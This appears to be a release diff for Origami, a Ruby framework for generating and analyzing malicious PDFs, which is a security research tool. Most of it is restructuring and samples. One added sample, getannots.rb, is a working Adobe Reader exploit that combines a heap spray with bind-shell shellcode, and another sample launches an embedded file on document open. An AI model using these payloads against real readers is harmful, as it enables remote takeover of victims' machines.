origami 1.2.1 → 1.2.2

Sign up to get free protection for your applications and to get access to all the features.
Files changed (121) hide show
  1. data/README +1 -1
  2. data/bin/gui/hexview.rb +1 -1
  3. data/bin/gui/menu.rb +4 -4
  4. data/bin/gui/textview.rb +6 -4
  5. data/bin/gui/treeview.rb +4 -4
  6. data/bin/gui/walker.rb +1 -1
  7. data/bin/pdf2graph +1 -1
  8. data/bin/pdf2pdfa +1 -1
  9. data/bin/pdf2ruby +1 -1
  10. data/bin/pdfcocoon +1 -1
  11. data/bin/pdfcop +1 -1
  12. data/bin/pdfdecompress +1 -1
  13. data/bin/pdfdecrypt +1 -1
  14. data/bin/pdfencrypt +1 -1
  15. data/bin/pdfextract +75 -14
  16. data/bin/pdfmetadata +1 -1
  17. data/bin/shell/.irbrc +1 -1
  18. data/{origami.rb → lib/origami.rb} +3 -3
  19. data/{origami → lib/origami}/3d.rb +0 -0
  20. data/{origami → lib/origami}/acroform.rb +2 -2
  21. data/{origami → lib/origami}/actions.rb +0 -0
  22. data/{origami → lib/origami}/annotations.rb +0 -0
  23. data/{origami → lib/origami}/array.rb +0 -0
  24. data/{origami → lib/origami}/boolean.rb +0 -0
  25. data/{origami → lib/origami}/catalog.rb +0 -0
  26. data/{origami → lib/origami}/destinations.rb +0 -0
  27. data/{origami → lib/origami}/dictionary.rb +0 -0
  28. data/{origami → lib/origami}/docmdp.rb +0 -0
  29. data/{origami → lib/origami}/encryption.rb +9 -7
  30. data/{origami → lib/origami}/export.rb +0 -0
  31. data/lib/origami/extensions/fdf.rb +257 -0
  32. data/{origami/adobe → lib/origami/extensions}/ppklite.rb +3 -1
  33. data/{origami → lib/origami}/file.rb +0 -0
  34. data/{origami → lib/origami}/filters.rb +0 -0
  35. data/{origami → lib/origami}/filters/ascii.rb +0 -0
  36. data/{origami → lib/origami}/filters/ccitt.rb +0 -1
  37. data/{origami → lib/origami}/filters/crypt.rb +0 -0
  38. data/{origami → lib/origami}/filters/dct.rb +0 -0
  39. data/{origami → lib/origami}/filters/flate.rb +0 -0
  40. data/{origami → lib/origami}/filters/jbig2.rb +0 -0
  41. data/{origami → lib/origami}/filters/jpx.rb +0 -0
  42. data/{origami → lib/origami}/filters/lzw.rb +0 -0
  43. data/{origami → lib/origami}/filters/predictors.rb +0 -0
  44. data/{origami → lib/origami}/filters/runlength.rb +0 -0
  45. data/{origami → lib/origami}/font.rb +0 -0
  46. data/{origami → lib/origami}/functions.rb +0 -0
  47. data/{origami → lib/origami}/graphics.rb +0 -0
  48. data/{origami → lib/origami}/graphics/colors.rb +45 -23
  49. data/{origami → lib/origami}/graphics/instruction.rb +0 -0
  50. data/{origami → lib/origami}/graphics/path.rb +0 -0
  51. data/{origami → lib/origami}/graphics/patterns.rb +0 -0
  52. data/{origami → lib/origami}/graphics/render.rb +0 -0
  53. data/{origami → lib/origami}/graphics/state.rb +2 -2
  54. data/{origami → lib/origami}/graphics/text.rb +0 -0
  55. data/{origami → lib/origami}/graphics/xobject.rb +219 -0
  56. data/{origami → lib/origami}/header.rb +0 -0
  57. data/{origami → lib/origami}/javascript.rb +0 -0
  58. data/{origami → lib/origami}/linearization.rb +0 -0
  59. data/{origami → lib/origami}/metadata.rb +0 -0
  60. data/{origami → lib/origami}/name.rb +0 -0
  61. data/{origami → lib/origami}/null.rb +0 -0
  62. data/{origami → lib/origami}/numeric.rb +0 -0
  63. data/{origami → lib/origami}/obfuscation.rb +0 -0
  64. data/{origami → lib/origami}/object.rb +7 -2
  65. data/{origami → lib/origami}/outline.rb +0 -0
  66. data/{origami → lib/origami}/outputintents.rb +0 -0
  67. data/{origami → lib/origami}/page.rb +0 -0
  68. data/{origami → lib/origami}/parser.rb +76 -51
  69. data/{origami → lib/origami}/parsers/fdf.rb +9 -6
  70. data/{origami/parsers/pdf/linear.rb → lib/origami/parsers/pdf.rb} +31 -39
  71. data/lib/origami/parsers/pdf/linear.rb +84 -0
  72. data/lib/origami/parsers/ppklite.rb +93 -0
  73. data/{origami → lib/origami}/pdf.rb +6 -3
  74. data/{origami → lib/origami}/reference.rb +0 -0
  75. data/{origami → lib/origami}/signature.rb +170 -19
  76. data/{origami → lib/origami}/stream.rb +9 -0
  77. data/{origami → lib/origami}/string.rb +0 -0
  78. data/{origami → lib/origami}/trailer.rb +0 -0
  79. data/{origami → lib/origami}/webcapture.rb +0 -0
  80. data/{origami → lib/origami}/xfa.rb +0 -0
  81. data/{origami → lib/origami}/xreftable.rb +3 -7
  82. data/samples/README.txt +45 -0
  83. data/samples/actions/launch/calc.rb +87 -0
  84. data/samples/actions/launch/winparams.rb +22 -0
  85. data/samples/actions/loop/loopgoto.rb +24 -0
  86. data/samples/actions/loop/loopnamed.rb +21 -0
  87. data/samples/actions/named/named.rb +31 -0
  88. data/samples/actions/samba/smbrelay.rb +26 -0
  89. data/samples/actions/triggerevents/trigger.rb +75 -0
  90. data/samples/actions/webbug/submitform.js +26 -0
  91. data/samples/actions/webbug/webbug-browser.rb +68 -0
  92. data/samples/actions/webbug/webbug-js.rb +67 -0
  93. data/samples/actions/webbug/webbug-reader.rb +90 -0
  94. data/samples/attachments/attach.rb +40 -0
  95. data/samples/attachments/attached.txt +1 -0
  96. data/samples/crypto/crypto.rb +28 -0
  97. data/samples/digsig/signed.rb +46 -0
  98. data/samples/exploits/cve-2008-2992-utilprintf.rb +87 -0
  99. data/samples/exploits/cve-2009-0927-geticon.rb +65 -0
  100. data/samples/exploits/exploit_customdictopen.rb +55 -0
  101. data/samples/exploits/getannots.rb +69 -0
  102. data/samples/flash/flash.rb +31 -0
  103. data/samples/flash/helloworld.swf +0 -0
  104. data/samples/javascript/attached.txt +1 -0
  105. data/samples/javascript/js.rb +52 -0
  106. data/{tests → test}/ts_pdf.rb +1 -1
  107. metadata +109 -95
  108. data/origami/adobe/fdf.rb +0 -259
  109. data/origami/parsers/pdf.rb +0 -27
  110. data/origami/parsers/ppklite.rb +0 -86
  111. data/tests/dataset/test.dummycrt +0 -28
  112. data/tests/dataset/test.dummykey +0 -27
  113. data/tests/tc_actions.rb +0 -32
  114. data/tests/tc_annotations.rb +0 -85
  115. data/tests/tc_pages.rb +0 -37
  116. data/tests/tc_pdfattach.rb +0 -24
  117. data/tests/tc_pdfencrypt.rb +0 -110
  118. data/tests/tc_pdfnew.rb +0 -32
  119. data/tests/tc_pdfparse.rb +0 -98
  120. data/tests/tc_pdfsig.rb +0 -37
  121. data/tests/tc_streams.rb +0 -129
@@ -0,0 +1,69 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ pdf = PDF.read(ARGV[0])
13
+
14
+ jscript = %Q|
15
+ //##############
16
+ //Exploit made by Arr1val
17
+ //Proved in adobe 9.1 and adobe 8.1.4 on linux
18
+ //
19
+ //Steps:
20
+ //- create a pdf with an annotation (a note) (i used an annotation with a very long AAAAA name, but that might be omitted)
21
+ //- attach the following script to the OpenAction of the pdf.
22
+ //##############
23
+
24
+ app.alert('start heap spray...');
25
+
26
+
27
+ var memory;
28
+ var nop = unescape("%u9090%u9090"); //long nop will also force the address to go to 0x90909090 so 2 steps in one
29
+ var shellcode = unescape( "%uc92b%ue983%ud9eb%ud9ee%u2474%u5bf4%u7381%u1313%u2989%u8357%ufceb%uf4e2%u5222%u147a%ue340%u3d2b%ud175%udeb0%u44f2%uc1a9%udb50%u3f4f%ud502%u044f%u689a%u3143%ud94b%u0178%u689a%ud7e4%uefa3%ub4f8%u09de%u057b%uca45%ub6a0%uefa3%ud7e4%ue380%u0e2b%ub6a3%ud7e4%uf05a%ue7d0%udb18%u7841%ufa3c%u3f41%ueb3c%u3940%u6a9a%u047b%u689a%ud7e4"); //linux bind shell at port 4444
30
+
31
+ while(nop.length <= 0x100000/2) {
32
+ nop += nop;
33
+ }
34
+
35
+ nop = nop.substring(0,0x100000/2 - shellcode.length);
36
+
37
+ memory = new Array();
38
+ for(i=0; i<0x3; i++) { //we should at least overwrite 0x90909090
39
+ memory[i] = nop + shellcode;
40
+ }
41
+
42
+
43
+ //start exploit now
44
+ start();
45
+
46
+ function start()
47
+ {
48
+ // this.getAnnots(-134217728,-134217728,-134217728,-134217728);
49
+ app.alert("boom?");
50
+ this.getAnnots(-134217728,-134217729,-134217730,-134217731); //get control on EDI
51
+ }
52
+
53
+
54
+ //# milw0rm.com [2009-04-29]
55
+ |
56
+
57
+ #exploit = Action::JavaScript.new(Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode]))
58
+ exploit = Action::JavaScript.new(Stream.new(jscript))
59
+ pdf.onDocumentOpen( exploit )
60
+
61
+
62
+ annot = Annotation::Text.new
63
+ annot.Contents = "Hello world"
64
+ annot.Rect = [ 512, 512, 660, 606]
65
+ annot.F = Annotation::Flags::HIDDEN
66
+ pdf.pages[0].add_annot( annot )
67
+
68
+ pdf.save("#{File.basename($0, '.rb')}.pdf")
69
+
@@ -0,0 +1,31 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ INPUTFILE = "helloworld.swf"
13
+ OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
14
+
15
+ puts "Now generating a new PDF file from scratch!"
16
+
17
+ # Creating a new file
18
+ pdf = PDF.new.append_page(page = Page.new)
19
+
20
+ # Embedding the SWF file into the PDF.
21
+ swf = pdf.attach_file(INPUTFILE)
22
+
23
+ # Creating a Flash annotation on the page.
24
+ annot = page.add_flash_application(swf, :windowed => true, :navigation_pane => true, :toolbar => true)
25
+
26
+ # Setting the player position on the page.
27
+ annot.Rect = Rectangle.new(204, 573, 403, 718)
28
+
29
+ pdf.save(OUTPUTFILE)
30
+
31
+ puts "PDF file saved as #{OUTPUTFILE}."
Binary file
@@ -0,0 +1 @@
1
+ ***THIS IS THE EMBEDDED FILE***
@@ -0,0 +1,52 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ if defined?(PDF::JavaScript::Engine)
13
+
14
+ INPUTFILE = "attached.txt"
15
+
16
+ # Creating a new file
17
+ pdf = PDF.new
18
+
19
+ # Embedding the file into the PDF.
20
+ pdf.attach_file(INPUTFILE,
21
+ :EmbeddedName => "README.txt",
22
+ :Filter => :ASCIIHexDecode
23
+ )
24
+
25
+ # Example of JS payload
26
+ js = <<-JS
27
+ if ( app.viewerVersion == 8 )
28
+ eval("this.exportDataObject({cName:'README.txt', nLaunch:2});");
29
+ this.closeDoc();
30
+ JS
31
+ pdf.onDocumentOpen Action::JavaScript.new(js)
32
+
33
+ # Tweaking the engine options
34
+ pdf.js_engine.options[:log_method_calls] = true
35
+ pdf.js_engine.options[:viewerVersion] = 8
36
+
37
+ # Hooking eval()
38
+ pdf.js_engine.hook 'eval' do |eval, expr|
39
+ puts "Hook: eval(#{expr.inspect})"
40
+ eval.call(expr) # calling the real eval method
41
+ end
42
+
43
+ # Example of inline JS evaluation
44
+ pdf.eval_js 'console.println(util.stringFromStream(this.getDataObjectContents("README.txt")))'
45
+
46
+ # Executes the string as a JS script
47
+ pdf.Catalog.OpenAction[:JS].eval_js
48
+
49
+ else
50
+ puts "JavaScript support not found. You need to install therubyracer gem."
51
+ end
52
+
@@ -12,7 +12,7 @@ require 'tc_pdfnew.rb'
12
12
  begin
13
13
  require 'origami'
14
14
  rescue LoadError
15
- ORIGAMIDIR = "#{File.dirname(__FILE__)}/.."
15
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../lib"
16
16
  $: << ORIGAMIDIR
17
17
  require 'origami'
18
18
  end
metadata CHANGED
@@ -1,13 +1,13 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: origami
3
3
  version: !ruby/object:Gem::Version
4
- hash: 29
4
+ hash: 27
5
5
  prerelease: false
6
6
  segments:
7
7
  - 1
8
8
  - 2
9
- - 1
10
- version: 1.2.1
9
+ - 2
10
+ version: 1.2.2
11
11
  platform: ruby
12
12
  authors:
13
13
  - "Guillaume Delugr\xC3\xA9"
@@ -15,7 +15,7 @@ autorequire:
15
15
  bindir: bin
16
16
  cert_chain: []
17
17
 
18
- date: 2011-10-05 00:00:00 +02:00
18
+ date: 2011-10-18 00:00:00 +02:00
19
19
  default_executable:
20
20
  dependencies: []
21
21
 
@@ -36,6 +36,7 @@ executables:
36
36
  - pdfcocoon
37
37
  - pdfsh
38
38
  - pdfwalker
39
+ - pdf2pdfa
39
40
  extensions: []
40
41
 
41
42
  extra_rdoc_files: []
@@ -43,114 +44,127 @@ extra_rdoc_files: []
43
44
  files:
44
45
  - README
45
46
  - COPYING.LESSER
46
- - origami.rb
47
- - origami/graphics/colors.rb
48
- - origami/graphics/instruction.rb
49
- - origami/graphics/path.rb
50
- - origami/graphics/patterns.rb
51
- - origami/graphics/render.rb
52
- - origami/graphics/state.rb
53
- - origami/graphics/text.rb
54
- - origami/graphics/xobject.rb
55
- - origami/3d.rb
56
- - origami/acroform.rb
57
- - origami/actions.rb
58
- - origami/adobe/fdf.rb
59
- - origami/adobe/ppklite.rb
60
- - origami/annotations.rb
61
- - origami/array.rb
62
- - origami/boolean.rb
63
- - origami/catalog.rb
64
- - origami/destinations.rb
65
- - origami/dictionary.rb
66
- - origami/docmdp.rb
67
- - origami/export.rb
68
- - origami/file.rb
69
- - origami/filters/ascii.rb
70
- - origami/filters/ccitt.rb
71
- - origami/filters/crypt.rb
72
- - origami/filters/dct.rb
73
- - origami/filters/flate.rb
74
- - origami/filters/jbig2.rb
75
- - origami/filters/jpx.rb
76
- - origami/filters/lzw.rb
77
- - origami/filters/predictors.rb
78
- - origami/filters/runlength.rb
79
- - origami/filters.rb
80
- - origami/font.rb
81
- - origami/functions.rb
82
- - origami/graphics.rb
83
- - origami/header.rb
84
- - origami/javascript.rb
85
- - origami/linearization.rb
86
- - origami/metadata.rb
87
- - origami/name.rb
88
- - origami/null.rb
89
- - origami/numeric.rb
90
- - origami/obfuscation.rb
91
- - origami/object.rb
92
- - origami/outline.rb
93
- - origami/page.rb
94
- - origami/parser.rb
95
- - origami/parsers/fdf.rb
96
- - origami/parsers/pdf/linear.rb
97
- - origami/parsers/pdf.rb
98
- - origami/parsers/ppklite.rb
99
- - origami/reference.rb
100
- - origami/signature.rb
101
- - origami/stream.rb
102
- - origami/string.rb
103
- - origami/trailer.rb
104
- - origami/xfa.rb
105
- - origami/xreftable.rb
106
- - origami/webcapture.rb
107
- - origami/pdf.rb
108
- - origami/encryption.rb
109
- - origami/outputintents.rb
47
+ - lib/origami/3d.rb
48
+ - lib/origami/actions.rb
49
+ - lib/origami/annotations.rb
50
+ - lib/origami/array.rb
51
+ - lib/origami/boolean.rb
52
+ - lib/origami/catalog.rb
53
+ - lib/origami/destinations.rb
54
+ - lib/origami/dictionary.rb
55
+ - lib/origami/export.rb
56
+ - lib/origami/file.rb
57
+ - lib/origami/filters.rb
58
+ - lib/origami/filters/ascii.rb
59
+ - lib/origami/filters/crypt.rb
60
+ - lib/origami/filters/dct.rb
61
+ - lib/origami/filters/flate.rb
62
+ - lib/origami/filters/jbig2.rb
63
+ - lib/origami/filters/jpx.rb
64
+ - lib/origami/filters/lzw.rb
65
+ - lib/origami/filters/predictors.rb
66
+ - lib/origami/filters/runlength.rb
67
+ - lib/origami/filters/ccitt.rb
68
+ - lib/origami/font.rb
69
+ - lib/origami/functions.rb
70
+ - lib/origami/graphics.rb
71
+ - lib/origami/graphics/instruction.rb
72
+ - lib/origami/graphics/path.rb
73
+ - lib/origami/graphics/patterns.rb
74
+ - lib/origami/graphics/render.rb
75
+ - lib/origami/graphics/text.rb
76
+ - lib/origami/graphics/state.rb
77
+ - lib/origami/graphics/colors.rb
78
+ - lib/origami/graphics/xobject.rb
79
+ - lib/origami/header.rb
80
+ - lib/origami/javascript.rb
81
+ - lib/origami/linearization.rb
82
+ - lib/origami/metadata.rb
83
+ - lib/origami/name.rb
84
+ - lib/origami/null.rb
85
+ - lib/origami/numeric.rb
86
+ - lib/origami/obfuscation.rb
87
+ - lib/origami/outline.rb
88
+ - lib/origami/outputintents.rb
89
+ - lib/origami/page.rb
90
+ - lib/origami/parsers/pdf/linear.rb
91
+ - lib/origami/parsers/pdf.rb
92
+ - lib/origami/parsers/fdf.rb
93
+ - lib/origami/parsers/ppklite.rb
94
+ - lib/origami/reference.rb
95
+ - lib/origami/string.rb
96
+ - lib/origami/trailer.rb
97
+ - lib/origami/webcapture.rb
98
+ - lib/origami/xfa.rb
99
+ - lib/origami/docmdp.rb
100
+ - lib/origami/stream.rb
101
+ - lib/origami/object.rb
102
+ - lib/origami/extensions/fdf.rb
103
+ - lib/origami/extensions/ppklite.rb
104
+ - lib/origami/xreftable.rb
105
+ - lib/origami/parser.rb
106
+ - lib/origami/encryption.rb
107
+ - lib/origami/signature.rb
108
+ - lib/origami/pdf.rb
109
+ - lib/origami/acroform.rb
110
+ - lib/origami.rb
110
111
  - bin/config/pdfcop.conf.yml
111
112
  - bin/gui/about.rb
112
113
  - bin/gui/config.rb
113
114
  - bin/gui/file.rb
114
115
  - bin/gui/hexdump.rb
115
- - bin/gui/hexview.rb
116
116
  - bin/gui/imgview.rb
117
- - bin/gui/menu.rb
118
117
  - bin/gui/properties.rb
119
118
  - bin/gui/signing.rb
120
- - bin/gui/textview.rb
121
- - bin/gui/treeview.rb
122
- - bin/gui/walker.rb
123
119
  - bin/gui/xrefs.rb
120
+ - bin/gui/walker.rb
121
+ - bin/gui/hexview.rb
122
+ - bin/gui/treeview.rb
123
+ - bin/gui/textview.rb
124
+ - bin/gui/menu.rb
125
+ - bin/pdfsh
126
+ - bin/pdfwalker
127
+ - bin/shell/console.rb
128
+ - bin/shell/hexdump.rb
124
129
  - bin/pdf2graph
130
+ - bin/pdf2pdfa
125
131
  - bin/pdf2ruby
126
132
  - bin/pdfcocoon
133
+ - bin/pdfcop
127
134
  - bin/pdfdecompress
128
135
  - bin/pdfdecrypt
129
- - bin/pdfextract
130
- - bin/pdfmetadata
131
- - bin/pdfsh
132
- - bin/pdfwalker
133
- - bin/shell/console.rb
134
- - bin/shell/hexdump.rb
135
136
  - bin/pdfencrypt
136
- - bin/pdfcop
137
- - bin/pdf2pdfa
138
- - tests/dataset/test.dummycrt
139
- - tests/dataset/test.dummykey
140
- - tests/tc_actions.rb
141
- - tests/tc_annotations.rb
142
- - tests/tc_pages.rb
143
- - tests/tc_pdfattach.rb
144
- - tests/tc_pdfencrypt.rb
145
- - tests/tc_pdfnew.rb
146
- - tests/tc_pdfparse.rb
147
- - tests/tc_pdfsig.rb
148
- - tests/tc_streams.rb
149
- - tests/ts_pdf.rb
137
+ - bin/pdfmetadata
138
+ - bin/pdfextract
139
+ - samples/actions/launch/calc.rb
140
+ - samples/actions/launch/winparams.rb
141
+ - samples/actions/loop/loopgoto.rb
142
+ - samples/actions/loop/loopnamed.rb
143
+ - samples/actions/named/named.rb
144
+ - samples/actions/samba/smbrelay.rb
145
+ - samples/actions/triggerevents/trigger.rb
146
+ - samples/actions/webbug/submitform.js
147
+ - samples/actions/webbug/webbug-browser.rb
148
+ - samples/actions/webbug/webbug-js.rb
149
+ - samples/actions/webbug/webbug-reader.rb
150
+ - samples/attachments/attached.txt
151
+ - samples/attachments/attach.rb
152
+ - samples/crypto/crypto.rb
153
+ - samples/digsig/signed.rb
154
+ - samples/exploits/cve-2008-2992-utilprintf.rb
155
+ - samples/exploits/cve-2009-0927-geticon.rb
156
+ - samples/exploits/exploit_customdictopen.rb
157
+ - samples/exploits/getannots.rb
158
+ - samples/flash/helloworld.swf
159
+ - samples/flash/flash.rb
160
+ - samples/README.txt
161
+ - samples/javascript/attached.txt
162
+ - samples/javascript/js.rb
150
163
  - templates/patterns.rb
151
164
  - templates/widgets.rb
152
165
  - templates/xdp.rb
153
166
  - bin/shell/.irbrc
167
+ - test/ts_pdf.rb
154
168
  has_rdoc: true
155
169
  homepage: http://aslr.fr/pages/Origami
156
170
  licenses: []
@@ -159,7 +173,7 @@ post_install_message:
159
173
  rdoc_options: []
160
174
 
161
175
  require_paths:
162
- - .
176
+ - lib
163
177
  required_ruby_version: !ruby/object:Gem::Requirement
164
178
  none: false
165
179
  requirements:
@@ -186,4 +200,4 @@ signing_key:
186
200
  specification_version: 3
187
201
  summary: Origami aims at providing a scripting tool to generate and analyze malicious PDF files.
188
202
  test_files:
189
- - tests/ts_pdf.rb
203
+ - test/ts_pdf.rb
data/origami/adobe/fdf.rb DELETED
@@ -1,259 +0,0 @@
1
- =begin
2
-
3
- = File
4
- adobe/fdf.rb
5
-
6
- = Info
7
- This file is part of Origami, PDF manipulation framework for Ruby
8
- Copyright (C) 2010 Guillaume Delugr� <guillaume@security-labs.org>
9
- All right reserved.
10
-
11
- Origami is free software: you can redistribute it and/or modify
12
- it under the terms of the GNU Lesser General Public License as published by
13
- the Free Software Foundation, either version 3 of the License, or
14
- (at your option) any later version.
15
-
16
- Origami is distributed in the hope that it will be useful,
17
- but WITHOUT ANY WARRANTY; without even the implied warranty of
18
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
19
- GNU Lesser General Public License for more details.
20
-
21
- You should have received a copy of the GNU Lesser General Public License
22
- along with Origami. If not, see <http://www.gnu.org/licenses/>.
23
-
24
- =end
25
-
26
- require 'origami/object'
27
- require 'origami/name'
28
- require 'origami/dictionary'
29
- require 'origami/reference'
30
- require 'origami/boolean'
31
- require 'origami/numeric'
32
- require 'origami/string'
33
- require 'origami/array'
34
- require 'origami/trailer'
35
- require 'origami/xreftable'
36
-
37
- module Origami
38
-
39
- module Adobe
40
-
41
- #
42
- # Class representing an AcroForm Forms Data Format file.
43
- #
44
- class FDF
45
-
46
- class Header
47
-
48
- MAGIC = /\A%FDF-(\d)\.(\d)/
49
-
50
- attr_accessor :majorversion, :minorversion
51
-
52
- #
53
- # Creates a file header, with the given major and minor versions.
54
- # _majorversion_:: Major version.
55
- # _minorversion_:: Minor version.
56
- #
57
- def initialize(majorversion = 2, minorversion = 1)
58
- @majorversion, @minorversion = majorversion, minorversion
59
- end
60
-
61
- def self.parse(stream) #:nodoc:
62
-
63
- if not stream.scan(MAGIC).nil?
64
- maj = stream[1].to_i
65
- min = stream[2].to_i
66
- else
67
- raise InvalidHeader, "Invalid header format"
68
- end
69
-
70
- PPKLite::Header.new(maj,min)
71
- end
72
-
73
- def to_s
74
- "%FDF-#{@majorversion}.#{@minorversion}" + EOL
75
- end
76
-
77
- def to_sym #:nodoc:
78
- "#{@majorversion}.#{@minorversion}".to_sym
79
- end
80
-
81
- def to_f #:nodoc:
82
- to_sym.to_s.to_f
83
- end
84
-
85
- end
86
-
87
- class Revision #:nodoc;
88
- attr_accessor :pdf
89
- attr_accessor :body, :xreftable, :trailer
90
-
91
- def initialize(adbk)
92
- @pdf = adbk
93
- @body = {}
94
- @xreftable = nil
95
- @trailer = nil
96
- end
97
-
98
- def trailer=(trl)
99
- trl.pdf = @pdf
100
- @trailer = trl
101
- end
102
- end
103
-
104
- attr_accessor :header, :revisions
105
-
106
- def initialize #:nodoc:
107
- @header = FDF::Header.new
108
- @revisions = [ Revision.new(self) ]
109
- @revisions.first.trailer = Trailer.new
110
- end
111
-
112
- def objects
113
- def append_subobj(root, objset)
114
- if objset.find{ |o| o.object_id == root.object_id }.nil?
115
- objset << root
116
- if root.is_a?(Array) or root.is_a?(Dictionary)
117
- root.each { |subobj| append_subobj(subobj, objset) unless subobj.is_a?(Reference) }
118
- end
119
- end
120
- end
121
-
122
- objset = []
123
- @revisions.first.body.values.each do |object|
124
- unless object.is_a?(Reference)
125
- append_subobj(object, objset)
126
- end
127
- end
128
-
129
- objset
130
- end
131
-
132
- def <<(object)
133
-
134
- object.set_indirect(true)
135
-
136
- if object.no.zero?
137
- maxno = 1
138
- while get_object(maxno) do maxno = maxno.succ end
139
-
140
- object.generation = 0
141
- object.no = maxno
142
- end
143
-
144
- @revisions.first.body[object.reference] = object
145
-
146
- object.reference
147
- end
148
-
149
- def Catalog
150
- get_object(@trailer.Root)
151
- end
152
-
153
- def save(filename)
154
-
155
- bin = ""
156
- bin << @header.to_s
157
-
158
- lastno, brange = 0, 0
159
-
160
- xrefs = [ XRef.new(0, XRef::LASTFREE, XRef::FREE) ]
161
- xrefsection = XRef::Section.new
162
-
163
- @revisions.first.body.values.sort.each { |obj|
164
- if (obj.no - lastno).abs > 1
165
- xrefsection << XRef::Subsection.new(brange, xrefs)
166
- brange = obj.no
167
- xrefs.clear
168
- end
169
-
170
- xrefs << XRef.new(bin.size, obj.generation, XRef::USED)
171
- lastno = obj.no
172
-
173
- bin << obj.to_s
174
- }
175
-
176
- xrefsection << XRef::Subsection.new(brange, xrefs)
177
-
178
- @xreftable = xrefsection
179
- @trailer ||= Trailer.new
180
- @trailer.Size = rev.body.size + 1
181
- @trailer.startxref = bin.size
182
-
183
- bin << @xreftable.to_s
184
- bin << @trailer.to_s
185
-
186
- fd = File.open(filename, "w").binmode
187
- fd << bin
188
- fd.close
189
-
190
- show_entries
191
- end
192
- alias saveas save
193
-
194
- private
195
-
196
- def rebuildxrefs #:nodoc:
197
-
198
- startxref = @header.to_s.size
199
-
200
- @revisions.first.body.values.each { |object|
201
- startxref += object.to_s.size
202
- }
203
-
204
- @xreftable = buildxrefs(@revisions.first.body)
205
-
206
- @trailer ||= Trailer.new
207
- @trailer.Size = @revisions.first.body.size + 1
208
- @trailer.startxref = startxref
209
-
210
- self
211
- end
212
-
213
- def buildxrefs(objects) #:nodoc:
214
-
215
- lastno = 0
216
- brange = 0
217
-
218
- xrefs = [ XRef.new(0, XRef::LASTFREE, XRef::FREE) ]
219
-
220
- xrefsection = XRef::Section.new
221
- objects.sort.each { |object|
222
- if (object.no - lastno).abs > 1
223
- xrefsection << XRef::Subsection.new(brange, xrefs)
224
- brange = object.no
225
- xrefs.clear
226
- end
227
-
228
- xrefs << XRef.new(get_object_offset(object.no, object.generation), object.generation, XRef::USED)
229
-
230
- lastno = object.no
231
- }
232
-
233
- xrefsection << XRef::Subsection.new(brange, xrefs)
234
-
235
- xrefsection
236
- end
237
-
238
- def get_object_offset(no,generation) #:nodoc:
239
-
240
- bodyoffset = @header.to_s.size
241
-
242
- objectoffset = bodyoffset
243
-
244
- @revisions.first.body.values.each { |object|
245
- if object.no == no and object.generation == generation then return objectoffset
246
- else
247
- objectoffset += object.to_s.size
248
- end
249
- }
250
-
251
- nil
252
- end
253
-
254
- end
255
-
256
- end
257
-
258
- end
259
-